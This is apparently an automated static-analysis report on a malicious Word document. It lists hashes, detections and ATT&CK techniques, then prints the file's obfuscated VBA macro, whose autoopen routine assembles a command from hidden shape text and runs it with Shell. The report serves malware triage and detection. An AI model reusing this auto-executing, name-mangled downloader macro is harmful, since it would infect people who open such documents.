Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 866fcfba798f6c14…

MALICIOUS

Office (OLE)

136.8 KB Created: 2018-12-07 18:45:00 Authoring application: Microsoft Office Word First seen: 2019-04-17
MD5: fc650d6fb730e27dd831e1c4392e21b9 SHA-1: 495f5f36cbb30623af97755396ff81ad5517997d SHA-256: 866fcfba798f6c149d8d05d5fcd7b69923e062184be7dd8032a85f4dfe3ed077
292 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1059.003 Windows Command Shell

The sample contains VBA macros with an autoopen function, which is a common technique for executing malicious code upon opening the document. Heuristics indicate the use of Shell() calls and suspicious invocations of cmd.exe and PowerShell, suggesting the macro is designed to download and execute a second-stage payload. The ClamAV detection as 'Doc.Downloader.Generic' further supports this assessment.

Heuristics 10

  • ClamAV: Doc.Downloader.Generic-6776294-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6776294-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    . _
Shell(uITJVE, hiWjqaid), McXMB)
         Set fbvOVlEZHnFSqjw = TowbZoZLBYTYfQIwOZiQEBLk
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Customizable = True
Sub autoopen()
Ahjos
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5502 bytes
SHA-256: 4f534a8a13f7b77557104b8ba1f3ed6141c50ec381062f47208f725016af8f83
Detection
ClamAV: No threats found
Obfuscation or payload: likely
141 of 170 identifiers look randomly generated (e.g. 'OwSNMKFUDBhAqwfuKVHkWmHv') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "JiIUsHzFrZFEt"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub autoopen()
Ahjos
End Sub

Attribute VB_Name = "iZlSpXfMl"
Function Ahjos()
On Error Resume Next
         Set FUSHzicmawUiUfwjMGr = CcnVAchiPqOzrFlUjdPzB
      LjwhEUhiuYTFYcjwHWz = WjkVmPuczjqtjbQHWTYMAlw
      flhInjVsAHEcwduoaFiLiZ = wLYZnwkulnvqBiloQNz / CLng(302444542) * 162471980 / Tan(155226791) + LtZjmuGkGFLkzOKiuPNToB - Cos(254996059) + (295431711 / Int(oROwkfBYWNjOOwz))
         Set UWDYikAVmQRLflNYbKYNwP = zFdVzmjSpXUsEzFlu
      sBVvqXWmSjIIosEIG = FPDjDzcnKsJbWZdzEO
      CPFwKTCKhjbovrljfMJwXSC = idrJjiroqPEEzQtP / CLng(7123478) * 259959223 / Tan(309300220) + iENklszkuPVjMt - Cos(136482201) + (219271895 / Int(saCsnzjnjhPSuzkXwdZP))
         Set DlbznzZYlVqFobcZtbzEn = CGCiUmKalvZzuQCp
      hjIHNERwKSiiBQ = vqjVzJfnNKjvfqh
      XDYSYfEoCkiJTfwk = UCDjhstBtuziJmFdGHac / CLng(327150570) * 217612070 / Tan(105702590) + vTMbVTiNzQKndfpLiQikH - Cos(65775646) + (296148550 / Int(cjMXWHhnmSkNfSjZMjisbSAa))
         Set JJiqAuQodXZCjvf = jOLrdNjahdkMBDWzw
      dIKlTMrAuHNfimiCw = dDdvdDJWJEmZAbEURWGwu
      zdTYNCuwhwHmUvlhfGbzDnNU = maOUIwwpiDAbEqG / CLng(183223336) * 72951903 / Tan(150487548) + SOHJikrzWzvLPzRacjdZCI - Cos(325818930) + (277171988 / Int(lGaQUVsQZBsfQfkRwbrirkc))
         Set wfBzXjWHwKRVWTjnL = FSXYtwirjhuGXpZVibrVsYi
      snHRQwhaGLmnrYmFRfzpMs = cvAkFwqChkhjFoRaizTzMC
      dKpmDMYsczAfVQNciQIFCJ = jQAERpssaZIWZQJmqIrEjFJ / CLng(311374623) * 71818218 / Tan(136366777) + pjDzkUSIWDHHCjHZGN - Cos(297735336) + (263491448 / Int(UdSwLFLbHFtwTDJX))
         Set bOwhGAMaPfwufNTTtnpfcKJ = zAdjLBscCFzhNTnHt
      pbCFzZjWjXcHPQE = kFXdOOnUsaQlFZAimVVi
      sCECoVVzupjdhjhkQ = boiMXIvQGWuVuvVPrCSbasR / CLng(140107637) * 325297812 / Tan(240115614) + IYqTwVctthffvHXOzEZvk - Cos(50455245) + (119918465 / Int(iRoSiWNPnYmsQDvzRCciMXX))
Set zhCfil = JiIUsHzFrZFEt.Shapes(NwoGKrr + "QilONaqlFML" + WBLubfMj).TextFrame
         Set oRsbrqkuHKVRndwVZfJE = NiuzAfGHPnvzihQtRkwJSQS
      NqTiNzjbAmanwbqLdmsXZ = EvfbIvNuYzLLmJLctP
      TzvGduptljfXvJ = mYwlroOFOdbmphzBtcTFWIo / CLng(13745794) * 215624505 / Tan(123357958) + cOtZPCsXmdHYPF - Cos(286229635) + (220978109 / Int(BIALlimucDXdjwFYmmqV))
         Set voNtsnVjrpStrFPXZC = zhsNbijzzHGcTWSkCVrFJl
      PkYvRPpNHfwuoCamOJp = ZlNwWYVNBhzfNHdcCiR
      ItwwXbdhbjdwTNAdXZZst = LaiQhhZzjfrHQfmQbuv / CLng(259599676) * 248053663 / Tan(122756333) + ALAHzFdJZojiYO - Cos(47576556) + (304191079 / Int(IizzEMwVrGwiwGqsVhEhaZrG))
uITJVE = zhCfil.ContainingRange + zJNYlED + bLAYSqq + inwUt + CzdSAMZ + CBYFAq + sCYwj + vGNZYmcQ
         Set MMsKkQlsQpCEQoD = aODqwrCZtRqPFuaNi
      FZGKdXCtOBEYMT = wQlUpMVJSQTZVmWPpVMid
      PljoDdBVVEXhJdo = tskPotJwjGrlPDAkDpAAoAJ / CLng(289459376) * 51110919 / Tan(326266492) + OBodtbwcTwOTVbhHwlPFREnd - Cos(127943726) + (188730810 / Int(EsjsIqwuwscwKTajlpWfZG))
         Set WbrvfjuHsVdsTnFmmMXNS = tjOTqdCwChBFiLAcVDC
      VdWdScsizVKEPwhHhMtQFv = vrOFumJrTKdFQNkBN
      UwjXwqldsuJJmkZKalEXz = niqtlqQuwKjflzmYuXTRtPhJ / CLng(162273054) * 297026124 / Tan(212809116) + mwwpnXLBhDEvMww - Cos(332200315) + (194034795 / Int(wcYCrjEjCYwjVsK))
         Set bGHNADwGcXqwFlrzfqJH = CFQztDIOuYHCEiPirzfNiZ
      KkhcuqIUrFtYBrNHzp = iwjwAGbVnqiuIdlGOLaOXmE
      wLGOmdsfXmrUbohVS = UdNLkvPlzvZaUvtTzo / CLng(4892465) * 87956206 / Tan(226425074) + wwWWmQiaiEwCRaCl - Cos(175528486) + (71683526 / Int(BizFzSvbIosVEmKfOpOIwGZR))
         Set jnfkmCWYbSCnMma = HGEZiiLHEAJcQTfBjt
      RAAjzujQHcriTEKN = GsaEbYjlsuIInAET
      IUHaGfwOEfMWqXFFVvr = GqbTuFAbIUbnLswpGj / CLng(1853737) * 88548185 / Tan(183449410) + XtTPBWCCRFMAURsnjAiWFk - Cos(21287454) + (168908655 / Int(zbQzmvdrQTiziDdZ))
Const hiWjqaid = 0
         Set CYMrCUfmfBDhIkFJuEiwSX = OnWYSShbwSJwJTHwFQhAhrN
      vaiKWVkUfcwDfwNTwaGP = owqnGYhlXNWascskWEahoRjV
      SJDNBHlzfHirXQ = DjHPbdmTVibVfiJWPUjnOdXV / CLng(39019090) * 248633355 / Tan(189132291) + VNswodiFJQuajqii - Cos(172693635) + (247370196 / Int(PWkOWodiZLmJpAY))
         Set WKiSqpInhMITSWHzJpsW = wfTDzQdBYNjaiokabjRvm
      jSVfhvMIiXZwYiKOsZf = IzYtnhXYhIaawYzAiSiip
      iMAiQFPNosQBRjubs = YnbawzAzfKjaqw / CLng(314033711) * 293661761 / Tan(135225479) + tFQRJUUhKvGSGGah - Cos(70494427) + (13324915 / Int(EQBhQZFjOBUFZMiinkGiHF))
FtNDazJl = Array(EPvsXzrEn, fqphF, XnzEXhw, Interaction _
. _
Shell(uITJVE, hiWjqaid), McXMB)
         Set fbvOVlEZHnFSqjw = TowbZoZLBYTYfQIwOZiQEBLk
      AqKsUDRKmQzmijqCk = wRfuriGDRzfrSdLK
      wOSjUCOszLLftrNToOT = GzfmRmTiuzUaYHsnSjcPR / CLng(11417191) * 286461623 / Tan(125661595) + XYGSXiOsYSwijPhijwCrkHl - Cos(333789828) + (171160558 / Int(HlDTEHMrtONMWT))
         Set OwSNMKFUDBhAqwfuKVHkWmHv = mAwzUpwsXISbShRZjdqFGnN
      pXBFEccqWWaJHWjLjISq = SrnpKmIRqjwnUIzo
      oujbEvGISMufWwUWQWfNPtp = ZjmcWnOlWqUYJlOwjh / CLng(292487727) * 175463938 / Tan(91786975) + TliQDlRacuFMBYIilfzII - Cos(212120532) + (201336903 / Int(NiIjjhBOFoNBzFjdUvNZSzkp))
         Set cpXijVPQJRPUBDnfKmPJ = FGBlLQimTBLAXB
      XoOJWXbjwFtMNfpzmJc = jVtVEkiqPEUiCNHWYG
      hdXEfSERGdCYqvirButEls = TskPJAXTajVutLRNCzTXM / CLng(83830683) * 207330850 / Tan(195418179) + YWGbfBBorEMuDuRjJbsUA - Cos(240285877) + (209495577 / Int(hqFSUYGMHjldQsviUGCHE))
End Function

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